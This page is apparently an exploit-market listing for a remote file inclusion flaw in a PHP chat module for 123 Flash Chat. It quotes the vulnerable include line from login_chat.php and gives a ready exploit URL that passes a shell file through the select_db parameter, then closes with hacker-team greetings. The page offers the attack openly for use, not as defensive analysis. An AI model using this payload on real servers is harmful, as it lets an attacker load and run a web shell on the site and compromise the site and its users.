[ authorization ] [ registration ] [ restore account ]
Contact us
You can contact us by:
0day Today Exploits Market and 0day Exploits Database

PHP Chat for 123 Flash Chat Remote File Inclusion Vulnerability

Author
HaCkEr arar
Risk
[
Security Risk Unsored
]
0day-ID
0day-ID-13421
Category
web applications
Date add
20-07-2010
Platform
php
===============================================================
PHP Chat for 123 Flash Chat Remote File Inclusion Vulnerability
===============================================================


# Exploit Title:   php_chat Remote File inclusion Vulnerability
# Date: 2010/07/20
# Author: HaCkEr arar
# Email: y.0@hotmail.de
# My Sites : www.vbspiders.com
# Script home:
http://www.opensourcescripts.com/dir/PHP/Chat/php_chat_module_for123_flash_chat_4902.html
# Tested on: Windows
# Team hacker:HaCkEr aRaR & ViRuS Qalaa >>>X-MaN HaCk3r TeaM
# ViRuS Qalaa: em9@live.com
:::::::::::::::::::::::::
=================Exploit=================
 
-=[ vuln c0de ]=-
include('db/'.$select_db.'.php');
login_chat.php
Line:41
 
----exploit----
 
http://{localhost}/{path}login_chat.php?select_db=shell.txt?
 
---------greatz----------
Greatz to :
ViRuS Qalaa,VoLc4n0,Members www.j1q1.com
 
and My friends Others and My friends in MSN
EnJoY o_O*



#  0day.today [2024-07-07]  #